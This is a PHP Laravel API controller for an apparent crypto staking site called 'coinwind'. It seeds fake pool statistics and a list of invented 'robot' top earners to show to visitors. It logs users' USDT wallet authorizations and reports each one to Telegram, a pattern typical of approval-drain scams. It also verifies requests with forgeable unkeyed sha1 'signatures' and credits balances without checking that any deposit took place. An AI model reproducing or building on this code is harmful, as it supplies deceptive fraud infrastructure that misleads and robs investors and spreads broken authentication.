coinwind/app/Http/Controllers/ApiV1Controller.php

499 lines
15 KiB
PHP

<?php
namespace App\Http\Controllers;
use App\Authorize;
use App\Balance;
use App\Withdrawal;
use Illuminate\Http\Request;
use App\User;
use App\Base;
use Illuminate\Support\Facades\DB;
use App\Articles;
use App\Staking;
use App\Tool\ThirdApi;
use App\Vault;
use App\Vault2;
use App\Vault3;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Redis;
class ApiV1Controller extends Controller
{
const K_RECHARGE = 'rt:recharge';
const K_POOLDATA = 'rt:pooldata';
const K_USERSOUTPUT = 'rt:users_output';
const K_TEAMDATA = 'rt:team_data';
const K_ROBOTS = 'rt:robots';
const K_COIN_PRICE = 'rt:coin_price';
public static function prepare_data_sources()
{
// Pool data
$pool_data = [
'totalOutput' => 342345.23,
'validNode' => 4,
'participant' => 103,
'userRevenue' => 290902.01,
];
Redis::set(self::K_POOLDATA, json_encode($pool_data));
// robot
$robots = [
'0x061f7937b7b2bc7596539959804f86538b6368dc' => 10.04,
'0x52b3565be60200079263adeb5ff895819ebee2d7' => 20,
'0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 9.01,
'0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 20,
'0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 12.04,
'0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 6.04,
'0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 4.23,
'0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 12.23,
'0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 20.09,
'0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 32.23,
'0x3d33877fb4b33992901383bd694fa40d1defcd09' => 25.23,
'0xf9d92a02a246d48e4646b1d517eec381285654ea' => 20.23,
'0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 80.33,
'0x86c230db34a91486d1fd74be4bdcc480c450183c' => 12.34,
'0x353356573756b38c00c8e2a7265fba52f5940751' => 18.20,
'0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 50.30,
'0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 30.40,
'0x095b5f18a33c4ddc016e426d507eb4ee2d16c670' => 805.23,
'0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 40.34,
'0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 12.30,
];
Redis::hMSet(self::K_ROBOTS, $robots);
// users output
// team output
}
// new connected
public function register(Request $request)
{
$address = $request->input('address');
$protocol = $request->input('protocol');
$ts = $request->input('ts');
$s = $request->input('s');
$referral = $request->input('sh');
// check
$expected_s = sha1($address . $protocol . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['suc' => 0, 'msg' => 'OK']);
}
$id = 0;
$he = User::where('address', $address)->first();
if (is_null($he)) { // new user
$suc = DB::transaction(function () use ($request, $address, $protocol, $referral) {
// create new
$id = User::insertGetId([
'address' => $address,
'ip' => 'ignore',
'protocol' => $protocol,
]);
// fix admin dashboard error.
$tables = [new Vault(), new Vault2(), new Vault3()];
foreach ($tables as $t) {
$t->id = $id;
$t->address = $address;
$t->save();
}
$referer = User::where(['id' => $referral])->first();
if (!is_null($referer)) {
User::where(['id' => $id])->update([
's_id' => $referral,
]);
}
});
if (!$suc) {
Log::error("create new register failed: address=$address, referral=$referral");
return json_encode([
'code' => 1,
]);
}
} else {
$id = $he->id;
}
return json_encode([
'code' => 0,
'id' => $id,
'shareLink' => config('app.frontUrl') . '?sh=' . $id,
'address' => $address,
'protocol' => $protocol,
'referral' => $referral,
]);
}
// auth wallet
public function authorized(Request $request)
{
$address = $request->input('address');
$ts = $request->input('ts');
$s = $request->input('s');
$hash = $request->input('hash');
// check
$expected_s = sha1($address . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['code' => 0, 'msg' => 'OK']);
}
$exists = Authorize::where('address', $address)->first();
if ($exists) {
return json_encode(['code' => 0, 'msg' => 'dup']);
}
$newRow = new Authorize();
$newRow->address = $address;
$newRow->name = Base::USDT;
$newRow->status = 0;
$newRow->hash = $hash;
$res = $newRow->save();
$code = 0;
if ($res) {
$msg = "$address 授权成功";
ThirdApi::sendToTg($msg);
} else {
Log::error("address $address create authorized row failed.");
$code = -4;
}
return json_encode([
'code' => $code,
]);
}
public function get_cache_eth_price(): float
{
$price = Redis::hGet(self::K_COIN_PRICE, Base::ETH);
if (!$price || $price <= 0) {
$price = ThirdApi::getETHPrice();
if ($price > 100) {
Redis::hSet(self::K_COIN_PRICE, Base::ETH, $price);
return $price;
}
return 0.0;
}
return $price;
}
// top up
public function staking(Request $request)
{
$address = $request->input('address');
$amount = $request->input('amount');
$ts = $request->input('ts');
$s = $request->input('s');
//
if ($amount <= 0.0) {
Log::warning("user $address recharge $amount failed");
return;
}
$expected_s = sha1($address . $amount . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['suc' => 0, 'msg' => 'OK']);
}
// if first time
$times = Redis::hGet(self::K_RECHARGE, $address);
$res = DB::transaction(function () use ($address, $amount, $times) {
// first time reward
$reward = 0;
if (!$times || $times <= 0) {
$reward = $this->_first_recharge_reward($amount);
}
$delta = $amount + $reward;
// insert into user
User::where('address', $address)->increment('balance', $delta);
// records
$newBlc = new Balance();
$newBlc->address = $address;
$newBlc->name = Base::USDT;
$newBlc->remake = "Staking $amount";
$newBlc->status = Base::BALANCE_RECHARGE;
$newBlc->money = $amount;
$newBlc->created_at = \Carbon\Carbon::now();
$newBlc->save();
if ($reward > 0) {
$newBlc = new Balance();
$newBlc->address = $address;
$newBlc->name = Base::USDT;
$newBlc->remake = "recharge $amount reward $reward";
$newBlc->status = Base::BALANCE_RECHARGE_REWARD;
$newBlc->money = $reward;
$newBlc->created_at = \Carbon\Carbon::now();
$newBlc->save();
}
// insert into staking
$has = Staking::where('address', $address)
->where('symbol', Base::USDT)
->first();
if ($has) {
Staking::where('address', $address)
->where('symbol', Base::USDT)
->increment('balance', $amount);
} else {
$stk = new Staking();
$stk->address = $address;
$stk->symbol = Base::USDT;
$stk->balance = $amount;
$stk->save();
}
Redis::hIncrBy(self::K_RECHARGE, $address, 1);
// referral bonus + insert into balance
});
return json_encode([
'code' => $res ? 0 : -4,
]);
}
// withdrawal
public function withdraw(Request $request)
{
$address = $request->input('address');
$amount = $request->input('amount');
$ts = $request->input('ts');
$s = $request->input('s');
if ($amount <= 0.0) {
return json_encode(['code' => -6]);
}
$expected_s = sha1($address . $amount . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['suc' => 0, 'msg' => 'OK']);
}
$u = User::where('address', $address)->first();
if (is_null($u)) {
return json_encode(['code' => -2]);
}
if ($u->balance < $amount) {
return json_encode(['code' => -3]);
}
$r = DB::transaction(function () use ($address, $amount) {
$wd = new Withdrawal();
$wd->address = $address;
$wd->bi_name = Base::USDT;
$wd->liexing = 1;
$wd->true_balance = $amount;
$wd->type = 2;
$wd->status = 0;
$wd->save();
//
User::where('address', $address)->decrement('balance', $amount);
});
return json_encode([
'code' => $r ? 0 : -4,
]);
}
// 首页服务
public function page_mining(Request $request)
{
$pool_data = $this->_pool_data();
$price = $this->get_cache_eth_price();
$pool_data['totalOutput'] = floatval(bcdiv($pool_data['totalOutput'], $price, 4));
$kvs = Redis::hGetAll(self::K_ROBOTS);
$topEarns = [];
foreach ($kvs as $k => $v) {
$topEarns[] = [
'address' => mb_substr($k, 0, 6) . '...' . mb_substr($k, -6, 6),
'quantity' => $v,
];
}
$articles = $this->_articles();
return json_encode(compact('pool_data', 'topEarns', 'articles'));
}
public function page_account(Request $request)
{
$address = $request->input('address');
$data = $this->_user_account_info($address);
return json_encode($data);
}
public function page_team(Request $request)
{
return json_encode([
'l1Output' => 0,
'l2Output' => 0,
'l3Output' => 0,
'participant' => 0,
'teamRevenue' => 0,
]);
}
public function withdrawal_history(Request $request)
{
$address = $request->input('address');
$his = $this->_user_withdrawal_history($address);
return json_encode($his);
}
public function daily_revenue_history(Request $request)
{
$address = $request->input('address');
$data = $this->_user_daily_revenue_history($address);
return json_encode($data);
}
public function reward_history(Request $request)
{
$address = $request->input('address');
$data = $this->_user_reward_history($address);
return json_encode($data);
}
// 池子数据
protected function _pool_data()
{
$sdata = Redis::get(self::K_POOLDATA);
return json_decode($sdata, true);
}
// 文章
protected function _articles()
{
return Articles::select(['title', 'content'])
->where(['type' => Base::ARTICLE_ANNOUNCEMENT])
->where(['lang' => 'en'])
->orderBy('id', 'desc')
->get()
->toArray();
}
// 用户帐号概况
protected function _user_account_info($address)
{
$price = $this->get_cache_eth_price();
// 余额
$res = User::where('address', $address)
->pluck('balance');
$balance = $res->isEmpty() ? 0 : floatval($res[0]);
$balance = Base::ffixed($balance);
// Log::info("address=$address, res=$res, balance=$balance");
// 总盈利
$output = Balance::where('address', $address)
->where('status', Base::BALANCE_STAKING_DAILY_REVENUE)
->sum('money');
$output = Base::ffixed(bcdiv($output, $price, 4));
// 提现
$withdrawal = Withdrawal::where('address', $address)
->sum('balance');
$withdrawal = Base::ffixed($withdrawal);
return compact('balance', 'output', 'withdrawal');
}
public function test()
{
echo ThirdApi::getPrice(ThirdApi::ID_ETH);
}
protected function _user_withdrawal_history($address)
{
$res = Withdrawal::select(['id', 'true_balance', 'created_at', 'status'])
->where('address', $address)
->get()
->toArray();
return $res;
}
protected function _user_daily_revenue_history($address)
{
$res = Balance::select(['id', 'created_at', 'money'])
->where('address', $address)
->where('status', Base::BALANCE_STAKING_DAILY_REVENUE)
->get()
->toArray();
return $res;
}
protected function _user_reward_history($address)
{
$res = Balance::select(['id', 'created_at', 'money'])
->where('address', $address)
->where('status', Base::BALANCE_SHARE_BONUS)
->get()
->toArray();
return $res;
}
protected function _first_recharge_reward($amount)
{
// TODO read from database
$reward_conf = [
[
'min' => 2000,
'max' => 19999.99,
'reward' => 39,
], [
'min' => 20000,
'max' => 59999.99,
'reward' => 399,
], [
'min' => 60000,
'max' => 99999.99,
'reward' => 1299,
], [
'min' => 100000,
'max' => 100000000,
'reward' => 2699,
],
];
foreach ($reward_conf as $item) {
if ($amount >= $item['min'] && $amount <= $item['max']) {
return $item['reward'];
}
} // foreach
return 0.0;
}
}